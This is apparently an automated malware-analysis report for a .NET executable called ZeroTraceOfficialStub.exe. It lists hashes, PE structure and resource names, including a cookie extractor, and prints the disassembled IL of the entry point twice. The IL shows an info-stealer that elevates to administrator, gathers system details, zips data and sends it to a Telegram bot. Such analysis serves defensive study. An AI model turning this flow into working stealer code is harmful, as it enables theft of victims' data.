Suspicious
Suspect

1720b7c78e5f189453910f9639b5ffea

PE Executable
|
MD5: 1720b7c78e5f189453910f9639b5ffea
|
Size: 11.24 MB
|
application/x-dosexec


Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
1720b7c78e5f189453910f9639b5ffea
Sha1
822d9b96f9cb54bf8ffffffd7e48095dcf0d33bb
Sha256
3208513da212e3a87c66a370ff805cd8378bd981c2966e9aba5453d4763f2fa9
Sha384
4ed8ba361532b87c4d7699ed7f2f03eb88793363b7108630d04dde355f6c87b2ddcc435ada1986af67f16a2a8b717a19
Sha512
990a7e5cfb803f7d134e4c3fe2df36ec0b5b0384ac28a72ff6bba5c6dc879eb9f5ed38229b3c0a38b4d8226a2a2769f395a77281003d586735856c390d0257f0
SSDeep
49152:RObpj5ULc3g4k2vX9OLQTM+acHEGSEGGVjb03xFKj0ia+CtbQuIrYIvVhARgzD1n:
TLSH
E9B6382439FA501AB173EFAA8BE479EADA6FB7733B07645D105003864723981DEC153E

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
ZeroTraceOfficialStub.Properties.Resources.resources
cookiesextract
ZeroTraceOfficialStub.Resources.ip.txt
ZeroTraceOfficialStub.Resources.port.txt
ZeroTraceOfficialStub.Resources.uac.txt
Informations
Name
Value
Module Name

ZeroTraceOfficialStub.exe

Full Name

ZeroTraceOfficialStub.exe

EntryPoint

System.Void ZeroTrace_Client.Program::Main(System.String[])

Scope Name

ZeroTraceOfficialStub.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

ZeroTraceOfficialStub

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.7.2

Total Strings

971

Main Method

System.Void ZeroTrace_Client.Program::Main(System.String[])

Main IL Instruction Count

210

Main IL

call System.Void ZeroTrace_Client.Program::LoadServerSettings() ldstr Server IP: ldsfld System.String ZeroTrace_Client.Program::botToken call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr Server Port: ldsfld System.String ZeroTrace_Client.Program::chatId call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr uac: ldsfld System.String ZeroTrace_Client.Program::uac call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldsfld System.String ZeroTrace_Client.Program::uac ldstr 1 call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator() brtrue.s IL_007A: nop call System.Void ZeroTrace_Client.Program::RestartAsAdministrator() ret <null> ldsfld System.String ZeroTrace_Client.Program::uac ldstr 0 call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_007A: nop ldstr uac is disabled (value is 0) call System.Void System.Console::WriteLine(System.String) nop <null> call System.String ZeroTrace_Client.Program::GetRealCountryInfo() stloc.0 <null> call System.String ZeroTrace_Client.Program::GetOSInfo() stloc.1 <null> call System.String ZeroTrace_Client.Program::GetGPUInfo() stloc.2 <null> call System.String ZeroTrace_Client.Program::GetCPUInfo() stloc.3 <null> call System.Boolean ZeroTrace_Client.Program::CheckFeature1() stloc.s V_4 call System.Boolean ZeroTrace_Client.Program::CheckFeature2() stloc.s V_5 call System.Boolean ZeroTrace_Client.Program::CheckFeature3() stloc.s V_6 ldstr Country: ldloc.0 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr OS: ldloc.1 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr GPU: ldloc.2 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr CPU: ldloc.3 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldc.i4.s 13 newarr System.String dup <null> ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.2 <null> ldloc.1 <null> stelem.ref <null> dup <null> ldc.i4.3 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.4 <null> ldloc.2 <null> stelem.ref <null> dup <null> ldc.i4.5 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.6 <null> ldloc.3 <null> stelem.ref <null> dup <null> ldc.i4.7 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.8 <null> ldloc.s V_4 brtrue.s IL_012C: ldstr "1" ldstr 0 br.s IL_0131: stelem.ref ldstr 1 stelem.ref <null> dup <null> ldc.i4.s 9 ldstr | stelem.ref <null> dup <null> ldc.i4.s 10 ldloc.s V_5 brtrue.s IL_0149: ldstr "1" ldstr 0 br.s IL_014E: stelem.ref ldstr 1 stelem.ref <null> dup <null> ldc.i4.s 11 ldstr | stelem.ref <null> dup <null> ldc.i4.s 12 ldloc.s V_6 brtrue.s IL_0166: ldstr "1" ldstr 0 br.s IL_016B: stelem.ref ldstr 1 stelem.ref <null> call System.String System.String::Concat(System.String[]) pop <null> ldstr Creating system data zip file... call System.Void System.Console::WriteLine(System.String) ldnull <null> stloc.s V_7 call System.String ZeroTrace_Client.Program::CreateSystemDataZip() stloc.s V_7 ldloc.s V_7 brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist." ldloc.s V_7 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist." ldstr Zip file created successfully: ldloc.s V_7 call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) br.s IL_01BA: leave.s IL_01D6 ldstr Failed to create zip file or file does not exist. call System.Void System.Console::WriteLine(System.String) leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken stloc.s V_8 ldstr Error creating zip file: ldloc.s V_8 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::botToken call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::chatId call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldloc.s V_7 brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldloc.s V_7 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldstr Sending file to Telegram... call System.Void System.Console::WriteLine(System.String) ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::chatId ldloc.s V_7 call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String) callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter() stloc.s V_9 ldloca.s V_9 call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult() brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram." ldstr File sent successfully to Telegram! call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Void System.IO.File::Delete(System.String) leave.s IL_0276: leave.s IL_0292 pop <null> leave.s IL_0276: leave.s IL_0292 ldstr Failed to send file to Telegram. call System.Void System.Console::WriteLine(System.String) br.s IL_0276: leave.s IL_0292 ldsfld System.String ZeroTrace_Client.Program::botToken call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!" ldsfld System.String ZeroTrace_Client.Program::chatId call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!" ldstr Cannot send file: Bot token or chat ID is missing! call System.Void System.Console::WriteLine(System.String) br.s IL_0276: leave.s IL_0292 ldstr Cannot send file: Failed to create zip file! call System.Void System.Console::WriteLine(System.String) leave.s IL_0292: ldstr "Program will exit in 5 seconds..." stloc.s V_10 ldstr Error: ldloc.s V_10 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0292: ldstr "Program will exit in 5 seconds..." ldstr Program will exit in 5 seconds... call System.Void System.Console::WriteLine(System.String) ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) ret <null>

Module Name

ZeroTraceOfficialStub.exe

Full Name

ZeroTraceOfficialStub.exe

EntryPoint

System.Void ZeroTrace_Client.Program::Main(System.String[])

Scope Name

ZeroTraceOfficialStub.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

ZeroTraceOfficialStub

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.7.2

Total Strings

971

Main Method

System.Void ZeroTrace_Client.Program::Main(System.String[])

Main IL Instruction Count

210

Main IL

call System.Void ZeroTrace_Client.Program::LoadServerSettings() ldstr Server IP: ldsfld System.String ZeroTrace_Client.Program::botToken call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr Server Port: ldsfld System.String ZeroTrace_Client.Program::chatId call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr uac: ldsfld System.String ZeroTrace_Client.Program::uac call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldsfld System.String ZeroTrace_Client.Program::uac ldstr 1 call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator() brtrue.s IL_007A: nop call System.Void ZeroTrace_Client.Program::RestartAsAdministrator() ret <null> ldsfld System.String ZeroTrace_Client.Program::uac ldstr 0 call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_007A: nop ldstr uac is disabled (value is 0) call System.Void System.Console::WriteLine(System.String) nop <null> call System.String ZeroTrace_Client.Program::GetRealCountryInfo() stloc.0 <null> call System.String ZeroTrace_Client.Program::GetOSInfo() stloc.1 <null> call System.String ZeroTrace_Client.Program::GetGPUInfo() stloc.2 <null> call System.String ZeroTrace_Client.Program::GetCPUInfo() stloc.3 <null> call System.Boolean ZeroTrace_Client.Program::CheckFeature1() stloc.s V_4 call System.Boolean ZeroTrace_Client.Program::CheckFeature2() stloc.s V_5 call System.Boolean ZeroTrace_Client.Program::CheckFeature3() stloc.s V_6 ldstr Country: ldloc.0 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr OS: ldloc.1 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr GPU: ldloc.2 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldstr CPU: ldloc.3 <null> call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldc.i4.s 13 newarr System.String dup <null> ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.2 <null> ldloc.1 <null> stelem.ref <null> dup <null> ldc.i4.3 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.4 <null> ldloc.2 <null> stelem.ref <null> dup <null> ldc.i4.5 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.6 <null> ldloc.3 <null> stelem.ref <null> dup <null> ldc.i4.7 <null> ldstr | stelem.ref <null> dup <null> ldc.i4.8 <null> ldloc.s V_4 brtrue.s IL_012C: ldstr "1" ldstr 0 br.s IL_0131: stelem.ref ldstr 1 stelem.ref <null> dup <null> ldc.i4.s 9 ldstr | stelem.ref <null> dup <null> ldc.i4.s 10 ldloc.s V_5 brtrue.s IL_0149: ldstr "1" ldstr 0 br.s IL_014E: stelem.ref ldstr 1 stelem.ref <null> dup <null> ldc.i4.s 11 ldstr | stelem.ref <null> dup <null> ldc.i4.s 12 ldloc.s V_6 brtrue.s IL_0166: ldstr "1" ldstr 0 br.s IL_016B: stelem.ref ldstr 1 stelem.ref <null> call System.String System.String::Concat(System.String[]) pop <null> ldstr Creating system data zip file... call System.Void System.Console::WriteLine(System.String) ldnull <null> stloc.s V_7 call System.String ZeroTrace_Client.Program::CreateSystemDataZip() stloc.s V_7 ldloc.s V_7 brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist." ldloc.s V_7 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist." ldstr Zip file created successfully: ldloc.s V_7 call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) br.s IL_01BA: leave.s IL_01D6 ldstr Failed to create zip file or file does not exist. call System.Void System.Console::WriteLine(System.String) leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken stloc.s V_8 ldstr Error creating zip file: ldloc.s V_8 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::botToken call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::chatId call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldloc.s V_7 brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldloc.s V_7 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken ldstr Sending file to Telegram... call System.Void System.Console::WriteLine(System.String) ldsfld System.String ZeroTrace_Client.Program::botToken ldsfld System.String ZeroTrace_Client.Program::chatId ldloc.s V_7 call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String) callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter() stloc.s V_9 ldloca.s V_9 call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult() brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram." ldstr File sent successfully to Telegram! call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Void System.IO.File::Delete(System.String) leave.s IL_0276: leave.s IL_0292 pop <null> leave.s IL_0276: leave.s IL_0292 ldstr Failed to send file to Telegram. call System.Void System.Console::WriteLine(System.String) br.s IL_0276: leave.s IL_0292 ldsfld System.String ZeroTrace_Client.Program::botToken call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!" ldsfld System.String ZeroTrace_Client.Program::chatId call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!" ldstr Cannot send file: Bot token or chat ID is missing! call System.Void System.Console::WriteLine(System.String) br.s IL_0276: leave.s IL_0292 ldstr Cannot send file: Failed to create zip file! call System.Void System.Console::WriteLine(System.String) leave.s IL_0292: ldstr "Program will exit in 5 seconds..." stloc.s V_10 ldstr Error: ldloc.s V_10 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0292: ldstr "Program will exit in 5 seconds..." ldstr Program will exit in 5 seconds... call System.Void System.Console::WriteLine(System.String) ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) ret <null>

Artefacts
Name
Value
PDB Path

?

1720b7c78e5f189453910f9639b5ffea (11.24 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙